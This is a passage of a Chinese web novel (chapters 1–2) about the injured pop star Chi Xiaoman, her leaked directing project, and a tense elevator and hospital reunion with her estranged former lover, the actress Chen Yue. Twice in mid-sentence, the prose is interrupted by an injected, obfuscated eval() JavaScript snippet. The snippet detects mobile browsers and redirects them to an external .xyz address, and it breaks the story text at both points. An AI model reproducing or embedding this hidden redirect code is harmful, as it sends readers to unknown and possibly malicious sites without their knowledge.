《霓虹烂片》 1. 「二零二三」 凌晨,暴雨,仿佛上帝给天划了道口子。 某急诊室留观病房内,两道模糊声线从廊道传进病房—— “听说迟小满要拍电影了?” “假的。” “你这么肯定?” “废话。”说这话的人相当笃定—— “我就问问你,活这么多年,见过哪个当红女顶流好端端放着流量钱不赚,偏偏没事干跑去电影圈当什么新人导演挨骂的?再说了……” “再说什么?” “迟小满什么人你不知道?” “她怎么了?”问话的人稀里糊涂的,“你不喜欢她啊?” “哎——我可没这么说啊。”接话的人忙着撇清,“反正像她这种爱炒作的我一个都不喜欢,一会这一会那。” “天天热搜上个没完,一点事都让人跟着大惊小怪。等会,咱先不说这——” “先说这电影就算是迟小满本人真想去拍,那她公司能这么傻?好不容易捧个女顶流出来,还能放她这么久不出来拍戏拍广告,让她跑去当什么导演?” “是这个理。”开头问话的人声音变小,接着像是看到什么,很是稀奇地提起,“哎——但这热搜上不还说今天早上陈——” “这更假。”接话的人愈发斩钉截铁,“行了,你别看了,就一烂瓜,比说迟小满当导演还假!” 话落,两道声音走远,尾音被稀里哗啦的暴雨吞进去。 此时此刻,留观病房内寂静无声。 一名痛经患者打着点滴,不露声色地往旁边瞟一眼—— 那是张靠廊道的病床。 从床头到床尾,床帘绕了一圈,紧紧把里头病床上的人包围着。 里头的人倒是挺安静,从进来起,基本就没出什么声。 不过刚刚那俩声音这么大。 难道这大明星躺在病床上,就一点动静没听见? 四个小时前。一大伙人围着个满脸是血躺在病床上的女人送进来。 没过多久。 一伙人又着急忙慌、乌泱泱、一个连一个的打着电话跑了出去。 但凑巧急诊室留观病房里人少,旁边的痛经患者眼睛尖脑子快,就在病床推进来擦肩而过那一秒,她立马认出—— 那满脸是血的女人是迟小满! 迟小满。 刚走廊上被人扔出去的椰子水广告上的迟小满;每天上班都能在4号线地铁珠宝广告上碰见的迟小满; 每年五月二十二在大街小巷商场大屏上都疯狂刷屏的迟小满; 出席一场商务站台活动,还没开始,就能直接让商场被人山人海挤崩溃的迟小满。 娱乐圈现役女顶流,微博粉丝接近破亿的……那个迟小满。 怎么会半夜满脸是血,还被送到郊区的急诊室来? 也不知道这会热搜上多热闹。 痛经患者拿起手机瞥了眼,就再次忍不住往旁边紧闭的床帘瞟去。 凑巧就是这个时候。 床帘里突然探出截细瘦白皙的手腕。 “唰”地一声,床帘拉开—— 痛经患者还没反应过来,就和病床上的人视线撞个正着—— 女人戴着医用护颈脖套,本来正努力挺着脖子,盯着天花板发呆。 大概是有点费力。 等伸手把床帘拉开了,才反应很慢地转动眼珠看过来。 然后就那样,在病床上斜仰着脸,毫不吝啬地对她笑了下,问, “我听你难受好久了,要喝点热水吗?” !还真是迟小满。 患者瞪大眼睛,一时之间没反应过来,盯着迟小满发起了呆—— 迟小满生着一双典型的漂亮猫眼,眼型圆润,眼尾狭长上挑。 但眼下。 她整个人在病床上僵躺着,只能咕噜噜地转着眼珠子来看她。 反而有种特殊的灵动,更像只猫儿了。 “是我打扰到你了吗?” 和她维持着斜对着的姿势,艰难地对视一会,迟小满搭在床帘上的手犹豫着准备拉回去,语气里也有歉意, “不好意思——” “没有!” 还在发呆的患者反应过来迅速摆手,不太好意思地捏了捏耳朵, “就是你真人比手机上漂亮多了,我那个,那个没反应过来……” 况且她刚刚痛狠了,是没忍住哼唧了一阵,没想到还真被这大明星听到了。 迟小满愣了两三秒。 对她笑了起来,一双像猫儿的眼睛也弯成了月牙, “谢谢。” “你要喝热水的话,我旁边的柜子上有个保温杯。” 窗外哗啦啦的暴雨声中。 她的声线听起来很干净,不含混,格外鲜明。 但说实话。 患者没想到会被她主动搭话,现在还稀里糊涂的,什么也没听进去。 迟小满说完这句,特意等了一会,没听到她说话。 便困惑地转了转眼珠。 然后像是意识到什么,笑着解释,“都是干净的,我没喝过。” “不是,我不是那个意思!” 痛经患者再次回过神来,慌乱间瞥到她们中间共用的那个柜子,上面果然摆着个保温杯,“我……我就是不好意思……” “没关系。” 迟小满笑眯眯地说。她的笑容弧度看起来很标准,漂亮,柔软,没有攻击性,说话的语调让人感觉很安全,丝毫不会觉得被冒犯,“反正我也喝不了,你肚子痛的话喝点热水会舒服很多。” “那我……就……”患者犹豫着舔了舔干燥的唇,“谢谢?” “好。” 迟小满还是冲她弯着眼,“可能会有点烫,小心点。” 留观病房内就她们两个人。患者也没再扭捏,把保温杯拿过来,找了个一次性杯子倒出来,抿了口热水,确实比之前舒服不少。 只不过……她确实没想到迟小满会是这么个性子? 热心肠,讲礼貌,还愿意跟陌生人搭话,看起来是没什么架子。 是大明星在作秀?还是…… 想到这里。 痛经患者一边小口抿着大明星给自己的热水,一边又去看旁边的迟小满。 应该是迟小满手上没力气,床帘被拉回去了一大半,留着点空。 但还是能看到—— 里头的迟小满很安静地躺在病床上,盯着天花板发呆。 刚刚满脸的血已经没了,但不知道是助理粗心大意还是怎么回事。 不过尖瘦下巴上还留了点没擦干净,在格外白皙的皮肤上有些突兀。 头发似乎是刚剪不久,和之前商业活动里看到的不一样。 像是偏高层次的公主切。 但并不死板。 要仔细看才能看出来是公主切,栗棕长发发梢微卷,发顶蓬软。 好像是穿着戏服,普通大T恤,白一块灰一块,乱七八糟的。 但好在人是个衣架子。 只稍微露个肩出来,也能看出她把这衣服穿得挺漂亮。 一种干净倔强的性感。 不知道打量了多久,患者小口小口地抿着热水。 等回过神来。 杯里的热水都喝完了。 她自己都觉得挺过分,喝人家的水,还上上下下盯着人看那么久。 可迟小满自己却跟个没事人一样,被她盯着看这么久也不恼,像是习惯了“被打量”,就那样安安分分躺着,也没说出点声音打断她。 “小满。”看了这么久,患者也有点不好意思。 “嗯?” 迟小满抽出思绪,慢慢将视线转过去,对上患者试探性的眼睛后,她习惯性地挂上嘴角笑容,“喝完啦?” “谢谢你的热水。”脸色苍白的痛经患者像是下定什么决心,对她说,“我觉得你比网上那些人说的好多了。” 迟小满怔住。 “你别听他们说的。”患者挠了挠下巴,“反正我支持你去拍电影。” 迟小满没想到她会提起这件事,愣了好几秒,才笑起来,“好,谢谢。” 患者“嗯”了声,没说其他。 迟小满礼貌性地等了会。 挪开视线。 重新看向白花花的天花板,就听到雨声里,旁边又传来模模糊糊的一句—— “那陈樾呢?” 雨声似乎停了一瞬。迟小满闭了一下眼,重新睁眼的时候—— 她意识到旁边的人还在盯着自己看,便耐着性子去看对方。 对上对方好奇的视线。 她还是像刚刚一样弯着眼睛笑,语气也没有什么变化, “嗯?她怎么了?” “陈樾真的会拍你的电影吗?”患者追问,“你们两个不是从来都不同台吗?” 迟小满嘴角微笑的弧度没有变化。她在噼里啪啦的雨声里停了一会,轻着声音,先回答了后面这个问题,“没有从来都不同台呀。” “是吗?”患者古怪地转了转眼珠子,“那电影呢?” 病房里有好几只飞虫飞进来,围着白炽灯撞来撞去。 迟小满怔怔盯着看了会。 垂下眼睫,双唇分开,刚要给出回答的时候—— 一阵急匆匆的脚步声传进病房。 是助理方阿云。 她办好住院手续,找来轮椅,准备把迟小满送到楼顶的VIP病房留观。 也打断了她们的对话。 迟小满分开的唇慢慢阖上。她没回答患者的问题。 被方阿云小心翼翼地搀扶着下床。 好不容易下了床。 迟小满没注意抬了抬下巴,结果疼得浑身冷汗,踉跄坐到轮椅上。 被推出去之前。 她脸色苍白,只来得及对这位仅有一面之缘的患者笑一笑,然后说, “保温杯里还有热水,你放心留着喝就好。” “不用还吗?” 患者没反应过来,眼睁睁看着迟小满被推了出去,连影子都看不见,心里愣愣想——难道瓜是真的? 女顶流真要转行当电影导演了? 女主角还真是影后。 说出去谁信啊? 关键这到底真的假的啊? - 从急诊病房到住院部楼顶vip病房,要挤几道长长的廊道,到达另外一栋建筑,再乘坐一段电梯。 方阿云找来帽子、口罩和一件刚洗好的外套,把迟小满头脸和上半身都裹得严严实实,才小心翼翼把她推出去。 今天下午。 迟小满赶飞机过来补上部戏的一场追逐镜头,这两周她连轴转,每天睡眠时间不足三小时。 其实只是两三个镜头的事。 公司是想让剧组找个替身上,不想让她特意空档。 不过考虑到完整性,再加上不太喜欢用替身,迟小满还是坚持自己上。 公司给她安排的行程满满当当,调调补补也只勉强空出三个小时。 补拍时,道具车出了问题。 一不留神,车从她肩后冲撞上来。 幸好对手戏演员眼疾手快踩了刹车。 不严重。 左手骨折,颈部挫伤。 至于那新闻图上看起来吓人的满脸血,只不过是拍那场戏时的血浆道具。 也幸好,补拍的镜头拍完了。 就是这后续几天的行程肯定受影响。 迟小满向来不喜欢给别人添麻烦。 也没想到自己过来补拍个镜头,还能闹出这么个事。 眼下受个小伤,看着身边上上下下的人跟着她着急上火。 她挺过意不去。 现在商务组忙着和品牌那边协调后续商务拍摄时间也就算了。 其他人,公司的,剧组派来赔礼道歉和陪诊的,她能给放假的放假,能让去休息的催回去休息。 从傍晚撞了车,到现在凌晨在急诊打完止痛点滴,做了几个必要的检查项目,打了石膏,医生让留观,她就只留下助理方阿云在医院照看着她。 “叮——” 是电梯开了,里面的人齐齐抬头看过来。 热搜久居不下。迟小满现在状态不好,最忌被拍到。 方阿云把她头上帽子又往下盖了点,也顺势把她已经戴好口罩的脸遮得严严实实。 进了电梯,迟小满瞬间觉得头晕目眩,也不知道是不是止痛点滴药效这会过了,细细麻麻的疼痛从小臂泛上来。 她忍着痛,被方阿云推到了个安全的位置。 便听见两道声音从背后窸窸窣窣传出, ——“看热搜没?陈樾今天还真又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506934|186112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿影后了。” ——“啧,得说人家有天赋呢,出道到现在拢共就拍了五部片吧,这都拿俩影后了。” 迟小满仰挺着脸,安静盯着视野里的黑暗,没有任何动作。 方阿云大概是以为她难受,给她揉了揉疼到发麻的肩膀。 ——“迟小满撞车这事看起来挺严重啊,图里看着血呲呼啦的,还挺吓人。” ——“我看看呢,哎哟我去,这么严重?该不会破相了吧?” #迟小满撞车 #陈樾金像影后 这大概是今天微博上最热闹的两件事。由不得迟小满不想听,也由不得她不想让这两件事摆在一起。 就连这郊区医院的凌晨,一路上也多的是人在说。 “叮——” 迟小满恍惚间回神。 是电梯又开了。 但还没到vip病房的楼层。 陆陆续续挤进来几个人,在她轮椅边紧紧挨着站着。 有个步子特别急的。 像是跑了很久,进电梯到她身边站着的时候呼吸还急促着。 迟小满痛得头晕,艰难挪动轮椅,给人让了点位置。 暴雨从傍晚开始就没停,旁边这人不知道是从几楼上的,可能淋了雨,身上还带着湿漉漉的热意,不过就这么滴着水来医院,估计也是个急事。 医院的急事可大可小。她这轮椅在中间一拦,又是到顶楼,不知道耽误人家多少时间。 考虑到这点,迟小满努力转动轮椅,想着尽量多空点位来,等下让人好出电梯。 可这人刚刚还呼吸急促着,这会等她挪了位置,却突然一动不动,只孤零零地在她身后站着。 后面的人倒是跟着她轮椅往里挤了挤,但嘴上还在看着热搜继续讨论—— “你看这营销号还说迟小满要转行拍电影了,女主角是陈樾,真的假的?” “假的呗,营销号有多夸张你知道。再说了,多少年了,她俩一个流量,一个影后,就从来没同台过。” “我可特意去搜了哈,都说就算是那些什么年底活动,她俩都是一个前脚刚走,另一个才姗姗来迟,我看这俩纯粹就不对付!” “也是,我记得前两年那条微博不也闹得挺厉害吗?都说迟小满蹭陈樾热度……我要是迟小满,现在都恨死陈樾了。” “我说你这话说反了吧?明明是迟小满突然发条不指名道姓的微博说恭喜,陈樾拿了影后都还低调着呢,结果就被迟小满这个腥风血雨的体质连累上了黑热搜。” “我要是陈樾,我还恨死迟小满了呢!” 话落,“啪嗒”一声,有什么东西砸落到迟小满脚边。 动静不大。 但还是惊得她从疼痛中猛然掀开眼皮—— “哎,帮我捡一下谢谢!”掉东西的人声音是从电梯后方传过来的。 迟小满头还昏着。一下没反应过来自己身在何处。 她浑身僵直,并拢膝盖。 封闭空间里她像只突然受到惊吓的猫,动弹不得。 旁边的人因此得了点空。 却也突兀地停顿一会,才慢慢蹲下,从她轮椅边把东西捡走,转身还了回去。 掉东西的人回了声谢谢。 旁边的人没回话。 只挪回位置,把空间重新让给迟小满。 迟小满维持并拢膝盖的动作,完全没注意陌生人的体贴。 她现在头昏脑胀,浑身上下都疼。 便只是小口小口努力呼吸着,费劲缓了一会,才疲倦不堪重新阖上眼。 这几年她总是容易被吓到,现在伤也没缓过来。 这么一吓。 冷汗“唰”地一下就逼出来,一颗一颗从下颌滴落。加上快要入夏,空调风凉。 再闭眼,背上被凉风一刮,她只觉得天旋地转,没忍住缩了缩下巴。 结果脸上帽子也跟着偏了点。 猝不及防—— 她的下半张脸就这么敞了出来。 慌张间迟小满也没意识到自己还戴着口罩,她僵着脖子,急忙抬手扶了一下。 也是在同一时间—— 身旁那个影子偏了点,拦在她身前,把她挡得严严实实。 她以为是方阿云。 下意识伸手去够,结果还没碰到,就听到电梯里有人惊讶出声, “卧槽!” “陈樾?” 这一声让聒噪的电梯瞬间静谧起来,也几乎让迟小满迟钝的大脑反应过来之前,就开始产生某种类似凌迟般的心悸。 她悬在半空的手滞住,细微地颤动着。昏暗中,她呆呆地眨了下眼,视线艰难下落。 却真的瞥见片衣角在视野角落飘动,陈樾从前最爱的墨绿—— 很久很久以前,聒噪夏日,发霉天花板,无袖棉质T恤的墨绿,内衣肩带勾勒白皙肩胛骨的墨绿,发带收束黑长直发飘摇的墨绿。 她躺在女人沾着汗水的膝上发呆,总觉得对方是全世界唯一能把这个颜色穿得不沉闷不单调,反而柔情似水、令人魂牵梦萦的人。 每次她看着她发呆。 女人都会低脸,“怎么啦?” 然后笑眯眯地摘下那双常戴的扁圆眼镜,用那双温柔忧郁的眼睛望她一会。 实在没办法了。 就用柔软手指轻触她的鼻尖,“怎么总是喜欢看着我发呆啊?” 也会在黄绿老旧灯光里对她笑,声线里带着跳跃的笑意,哄她, “大明星。” 如今将近十年,记忆中仿佛是这个世纪最热的那个夏天早就过去。 她们一前一后,站在同一个电梯里。 像两艘在拥挤大海里相撞的船,距离很近,好像又很远。 电梯里毫不相关的人,却在争执到底是她该恨她,还是她更该恨她。 迟小满怔怔盯着那片近在咫尺的衣角。 缓缓收回被空调风吹得僵冷的手,轻搭在轮椅扶手上。 她攥紧手指。 没过几秒。 便听见在这阵死气沉沉的静谧过后,电梯里终于有人忍不住出了声, “真是陈樾?可她这会不是应该在香港领完奖庆功呢么?” 压得极低的音量,疑惑的语气, “半夜三更的,跑到这北京郊区的医院来做什么?” 2. 「二零二三」 “你好。” 被人认出是意外,但陈樾并不躲闪,大大方方打了个招呼。 音量不大。 却足以在封闭空间里刺破模糊和僵硬,落到迟小满疯狂鼓动的耳膜中。 真的是陈樾。 迟小满在微弱光线中盯着那片衣角,感觉到手臂和颈部的疼痛仿佛就此消失,演变成某种在四肢百骸中弥漫开来的僵麻。 这种生理感受实在令人费解,也令她神思抽离地抓紧轮椅扶手,无法做出任何反应。 而显然。 陈樾这一声“你好”激起千层浪。 电梯里窸窸窣窣一阵,有人大着胆子又搭了一句话—— “恭喜啊影后!” 听着这话,陈樾似乎转头笑了下,还说了声“谢谢。” 语气是柔和的,咬字极为清晰,声线是那种她特有的、像水一样的自带柔情。 这个女人总是面面俱到,对谁都和和气气,不会轻易给人难堪。 从前迟小满尤其羡慕她的事事周全,也最讨厌自己的横冲直撞。 如今十年过去,迟小满如同当年自己所期待的那样,已经不再像二十岁出头时那么横冲直撞,也多了几分陈樾当年的八面玲珑。 但当年的她应该没想过——有一天,自己会是这个电梯里,唯一一个无法大大方方向陈樾道声“恭喜”的人。 电梯里七嘴八舌,认出来陈樾的一口一个“恭喜影后”,没认出来的也在旁边人的指导下在手机上搜了个来回,也乐乐呵呵地跟了句“恭喜影后”。 陈樾不厌其烦。收到一句“恭喜”,就柔着声音回一句“感谢”。 相比起迟小满褒贬不一的风评,陈樾的路人缘还是好的。 这些年来她低调刻苦,除了电影之外,不常出现在大众视野内,也不怎么上综艺直播,是大众眼里典型的“拿作品说话”的好演员。 “叮——” 电梯门再次打开,没人愿意先出电梯。 迟小满在角落里仰头,盯着残缺光线里的电梯按键,依旧不发一言。 电梯门重新关上。 有“咔嚓”声响起。 声响不大,但很突兀。 迟小满思绪恍惚,没忍住在角落里颤了颤肩,幅度不是很明显。 但可能还是被她身后的陈樾察觉到。女人不动声色往她这边挪了挪,体贴帮她挡住身后的闪光灯。 迟小满费力分开双唇,觉得自己好歹得说声“谢谢”。 可犹豫几秒就错过时机。 “咔嚓”声再次出现—— 陈樾在她身后动了下步子,似乎是想要转身开口劝阻, “你好——” “不好意思。” 迟小满截断陈樾的话,先压着干涩的嗓子开口了, “可以不要拍照吗?” 两人同时出声让拍照的人愣了一下。 不过陈樾那句相对较温和的“你好”,还是被迟小满冷然干涩的语气盖过去。 拍照人悻悻说了声“哦好吧”。 不知道到底有没有把手机收回去,在嘴边嘟囔了句“急什么?又不是拍你”。 迟小满沉默盯着电梯上行数字,没再出声。事实上,这话她也不是为自己说的。 陈樾刚拿影后,热搜上还沸沸扬扬着,到处都有人想挖点“金像影后”的料出来。 要是晚上闹出个“拒绝拍照”的事,不知道会被营销号、以及别有用心的怎么写。 在圈内浮浮沉沉这么多年,没人比迟小满更清楚这些手段。 要真是她多想,那也就算了。要陈樾真因为帮她说了声“不要拍照”闹上热搜,那她对不起陈樾的事,就又多了一件。 这声“恭喜”她已经无法堂堂正正说出口,更不想去欠陈樾更多。 电梯安静下来,继续上行。 迟小满能感觉到—— 陈樾就站在她身后,仍旧在为她遮挡有可能会发生的非必要曝光,目光可能停留在她身上,可能又没有。 可能是习惯性的那种看人时柔柔飘飘的眼神,又可能是疲惫不堪的,客客气气的,怨恨敏感的。 迟小满看不到。她庆幸自己看不到,也庆幸这只是一场不需要她亲自面对的对峙。 “叮——” 是电梯门又开了。 还是没人出去。 迟小满思绪混沌。 她沉默片刻,几乎想要再次当个逃兵,及时逃离这种荒诞的、措手不及的情况。 与此同时。 “咔嚓——” 又有拍照声响起。 迟小满犹豫着想要转动轮椅。 站在她身后的陈樾却先动了。 女人及时按下电梯开门键,却没有马上走出电梯。 她在她身后停了大概有十几秒钟,似乎是想说些什么。 但最后还是什么都没有说。 就像这十年来。她们不可避免的,在颁奖礼后台,在饭局偶遇到的每一次。 都是客客气气,装作从前并不相识,一次次擦肩而过。 漫长空白过后,陈樾走了出去。 留下那片在视野里残存的墨绿衣角。 和一阵轻轻柔柔的风。 以及风在迟小满手臂缓缓擦过的柔软触感。 也就此带走了电梯里恼人的闪光灯。 电梯关闭,重新恢复嘈杂。 没有人再偷偷摸摸拿着手机拍照,也再没有迟小满疲倦时总是无法自然应对的闪光灯出现。 那阵之前被隐藏的疼痛也再次泛上来,密密麻麻地铺到骨头缝隙里。 迟小满垂眼,盯着电梯所滞留的红色数字“13”,像陷入蛛丝缠绕的黑色洞穴,连根手指都动弹不得。 直到方阿云过来,轻轻给她调了调脸上的帽子。她才在模糊间意识到—— 以陈樾那样体贴周到的性格,刚刚在她身后停留,可能只是在看到她两次受到惊吓之后,考虑出去之前是否给她调一下帽子。 只是,和她那声说不出口的“恭喜”和“谢谢”一样。 处处妥帖的陈樾,最终也没能动手给她调帽子。 - 后来怎么出的电梯,以及电梯里那些人在陈樾走后还说了什么,迟小满都没有印象。 等回过神来的时候,她已经躺在VIP病房的病床上,盯着天花板发呆。 而方阿云了解她每次睡觉都要把电视声音开着的习惯,给她打开电视,调到她平时总是爱开着睡觉的电影频道。 听到声音,迟小满木讷间转了下视线,瞥到个空镜,就认出来—— 这是《在二月二十九日奔逃》,是部老片子,可能都是七八年前的了。 下一秒,主角素面朝天的脸切出来,证明了她的猜想。 那是张得天独厚的电影脸,在光影下,有种独特而疲倦的美。 陈樾的第一部电影。 文艺片,长镜头多,新生女导演,没什么剧情,大多是些没有台词的长镜头。 后来上映也没多少票房。 还被个影评人说—— 不讲爱情光讲自我,还痛苦晦涩,这么文艺的东西现在谁还爱看? 直到三年前,陈樾第一次拿影后,这电影才被翻出来,翻红了一阵。 而当时,也有人翻出那名早已退圈的女导演当年对陈樾的评价—— “陈樾生着一双像雾像雨又像风的含情眼,让人在电影院和她在荧幕上对视的第一眼,就会觉得,自己似乎在被她用力而悲伤地爱着。” “以至于,冷不丁回过神来的时候,就发觉,原来是自己在第一眼就爱上她。也心甘情愿,要与她来一场二月二十九日的奔逃。” 今天不是陈樾第一次拿影后,金像又是个格外有含金量的。 一时之间,目之所及,都是她的消息。 吃了方阿云递过来的止痛药,迟小满听了会电影里陈樾柔韧慵懒的声线,没急着阖眼,也没让方阿云换频道,而是先找到手机,翻到微博—— 她的事情凑巧和陈樾拿影后碰到同一天,也是烦心事。 她当然不是故意。 可上次陈樾拿影后,她深更半夜没忍住发了条微博,虽说只是声不指名道姓的“恭喜”,但也确实是她脑子不想事,给陈樾带来没必要的麻烦。 今天再次撞上。迟小满只想尽快把自己这事压下去。 她不想抢陈樾风头。 也想让陈樾眼不见心不烦,平平静静度过这一天。 但现实总是不能如她所想。 用小号打开微博,她先是看见自己的微博发了条声明——是宣传组代发的。 出这种事最注重就是尽快给消息安抚舆论。当时她刚进医院,人还没醒全乎,眼前一片黑还什么也看不清,就被公关组拉着拍了张比剪刀手的照片出去公关。 微博是几个小时前发的。 照片上她眼睛半睁不闭。但出于职业素养,面对镜头,当时她还是迷迷糊糊扯着嘴角费力笑了一下。 她自己微博下面评论倒还好,都是些安慰和鼓励。 但在营销号截图转发的热评里,有一条格外明显—— 【这照片看上去迟小满不是还在笑吗?而且是不是还刻意剪了个漂漂亮亮的头发? 我说迟小满有这么恨陈樾吗? 偏偏赶上她拿影后这天来作秀,关键也不是一次两次了吧/冷汗】 热评下的回复倒是褒贬不一—— 【人都撞车了,我求你赶快积点嘴德好下地狱吧。】 【真是服了。人明显是为了拍戏剪的发型好不好?我看是你恨迟小满恨得夜不能寐吧?】 【一次是巧合,两次……真就是故意了吧?】 【我说陈樾到底也真是个体面人,拿两次影后,两次都被迟小满蹭了热度,也没说买个通稿来回击的。】 【你怎么知道她没买?说不定她私下底都恨死迟小满了】 【你怎么不说迟小满恨陈樾啊?人受了伤流那么多血还在医院里昏迷着呢,撞车还得数日历看陈樾拿不拿影后呗?我算是看明白了,每次碰上陈樾,挨骂的就得是迟小满是吧?】 【我看这俩每次撞上都没好事,不管好事坏事,都惹得双方都一身骚】 还有条回复直接放了张微博截图,是不知名营销号发的瓜条—— 【电影《霓虹》,原创剧本,不出意外又是个文艺片,公路片,双女主。 导演:迟小满 编剧:浪浪 主演:金马影后陈樾(金像奖最佳女主入围热门人选) 今年下半年开机,拍摄周期一年。】 这是条发布于昨天半夜又被秒删的微博。本来没多少人看见,都当烂瓜吃了,但正巧,不到十二个小时,就赶上了迟小满撞车,还有陈樾拿影后这两件事,到现在已经超了百万转发。 迟小满心绪平静地看着这条瓜条,不用点开评论,也知道下面的回复是什么。 但或许从没看到过这三个名字摆在一起,她没能控制住自己,还是点开了。 底下的回复如她所料—— 【……我说陈樾上辈子是欠了迟小满什么八百亿的债吗?第一次拿影后,被迟小满蹭热度发微博,还好声好气地回了条“感谢”,没得到回应就算了。好不容易现在第二次拿影后,还又被编这种烂瓜来分热度】 【这编剧是谁啊?听都没听过,有什么作品?】 【楼上的,这明显假瓜假名字啊,连编剧名字都是编的,有什么真实性?】 【有没有一种可能,其实迟小满本人也不知道这件事。】 【我不信迟小满没点自知之明,不知道这瓜一编出来会被嘲到明年……】 【要黑红热度呗,迟小满这么操作也不是第一次了】 【哈哈哈哈,我就等着看陈樾会不会反击吧。都这样了,我不信她真能佛成那样。】 【我就悄悄问一句,瓜真是迟小满自己那边编的?她和她公司到底有没有那么傻啊?还觉得这年头了,黑红热度能是个好事儿呢?】 【那我就悄悄说一句,迟小满应该是快和公司解约了。】 【啧,怪不得呢,原来是顶流要走,这公司还不得扒她一层皮?】 评论看了几条,止痛药药劲逐渐泛上来。 迟小满精力不济,放下手机,便对上方阿云试探性的视线—— 她笑了笑,出声很轻, “放心,电影会拍的。” 事实上,那瓜条还真对了一半。 电影的确是迟小满打算拍。 她和公司的合同也确实是快到期了,才让她下定决心去做这事。 前段时间。 她拿着剧本去找了几个熟识的制片人,都还没商量出个什么结果。 到昨天夜里,瓜条就被爆了出来。 至于这是谁的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506935|186112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔。 她当然清楚。 只不过现在她临近合同到期,行程被安排得紧,出了这档子事,也没精力去闹。 可惜。 就是让陈樾被迫卷进了她这点破事。 主演当然不可能是陈樾。 迟小满没那么坏。 从拿着项目和剧本找制片人起,她就清楚,这事传出去,自己肯定要被嘲个天翻地覆。 没人觉得是真的,也没人觉得她真能拍电影。 就算最后真拍出来,也不知道多少人带着看热闹的心理,等着去逐帧审判。 做决定之前,迟小满已经反复确认,现在的自己能够承担最差的后果。 就是没想过,现在不仅让陈樾也跟着惹上一身腥。 还偏偏就是在今天这个日子。 也不知道陈樾会不会更恨她了? 或许不会。 迟小满完全想象不到陈樾恨一个人的样子。 记忆中陈樾总是笑意盈盈的。 也总是包容体贴。 不会轻易跟人闹脾气,嘴上从来不说自己讨厌谁。 也从来不会被谁讨厌。 但偏偏就是这样一个人。 碰上了她。 一次两次,都没好事。 暴雨渐渐停了,雨声变小,药劲弥漫。迟小满开始觉得困,意识觉得沉。 她阖上眼,手滑落下来,手机慢慢掉到床沿。 方阿云帮她接住。 也帮她掖了掖被子,还用那双满是皱纹的手摸了摸她的额头。 迟小满快要睡着了。 却还是勉强提起唇角,笑,“你也去睡一会吧。” 方阿云没动静。 迟小满说完这句,意识再也支撑不住,就这么听着雨声,听着电视机里陈樾颇为失真的声线,沉沉睡了过去。 或许是今天太多人在她耳边提起陈樾,电视机里陈樾的声线也始终未消失。 她觉得自己可能梦见了陈樾—— 破败出租屋,狭窄的一米二小床,被木板隔出来的浴室里滴水的声音,外面灯光刺眼。 陈樾隔着一层飘摇绿纱望她。 她对她笑,轻轻柔柔地唱着老歌,捂着她的耳朵哄她睡觉, “轻轻的一个吻,已经打动我的心。深深的一段情,教我思念到如今……”[1] 这是陈樾从前最爱的一首歌。 也是迟小满最爱听陈樾唱的一首歌。 从前她总在迟小满午夜梦醒时给她唱。而那时迟小满搞不懂陈樾为什么总是失眠,这么晚都还睡不着觉。 现在迟小满已经好久没听过了。 连梦里都没有。 但梦很残忍,并不因为迟小满竭力盼望就满足她的愿望,也并不愿意为她持续得久一些。 很快。 她就觉得自己醒了。 迷迷糊糊间。她听到电视机里陈樾说着那些她熟悉到可以倒背如流的台词,听见窗外淅淅沥沥下着小雨,听见走廊有脚步声经过,听见方阿云起身走了出去,也听见一道异常熟悉的声音清晰传进, “她还好吗?” 声线模糊,语气温情,像是最普通的问候。 四个字。 让迟小满猛然从梦中惊醒。 绝对不是电影里中的任何一句“台词”。 是陈樾。 她不可能认错。 也不可能混淆现实和梦境。 那一瞬间,几乎全身血液倒流,逼得她惊悸不安,像瘫软液体,被凝固在病床上。 可就这一句。 病房外再没有声音传来。 方阿云没有说话,她本来就不会说话。 陈樾也没有再开口,可能是在认真辨别方阿云给她的信息。 迟小满在病床上茫然眨眨眼,脉搏几乎要跳出来。 但病房外迟迟没有任何动静。 直到方阿云关上门,重新走进来,再次帮她掖紧被角。 迟小满才迟钝意识到—— 原来陈樾没有进来。 在电梯里碰见,因为她不得不暴露自己,又因为她而不得不提前下电梯,现在还特意过来问候,已经是陈樾的通情达理。 要真再进来和她打招呼,她们之间又还能说些什么? 凝固血液重新流动,聒噪热意渐渐褪去。迟小满缓缓松开揉紧被单的手指,逼自己舒出一口气,不必再纠结那一句普通问候。 方阿云大概以为她睡着,进来之后也没说话,只帮她把电视机声音调小了些。 迟小满紧闭着眼,冷汗和自以为是的窒闷渐渐褪去,不知道是不是心绪起伏让她精力不济,没过多久,她又沉沉睡过去。 这次没做梦。 也没听到更多杂音。 再醒来的时候,天好像亮了,又好像没有。VIP病房的落地窗外灰蒙蒙的,有点发蓝。 有个影子背对着她,朦朦胧胧地站在那里。应该是方阿云。 迟小满觉得口渴,费力地张了张唇,打算喊她给自己倒杯水—— 但还没出声。 像是心灵感应。那影子突然回了头。 是个女人。 隔着一层窗帘绿纱望她,黑长发飘摇,看不清脸。 迟小满愣住。 女人停了一会,缓缓走近,迷蒙间似乎正在冲她笑, “你是不是剪头发了?” 声线藏在雨声里,低低又柔柔, “还挺好看的。” 后来迟小满回忆起这段重逢,总觉得多年未有交集,陈樾的开场白实在太令人匪夷所思。 像寒暄,像关心。以至于让她险些以为,这是陈樾对她的报复。 因为十年前。 在二零一三年那个热到黏腻的盛夏,地下车库改造的出租屋只要每个人四百块一个月。 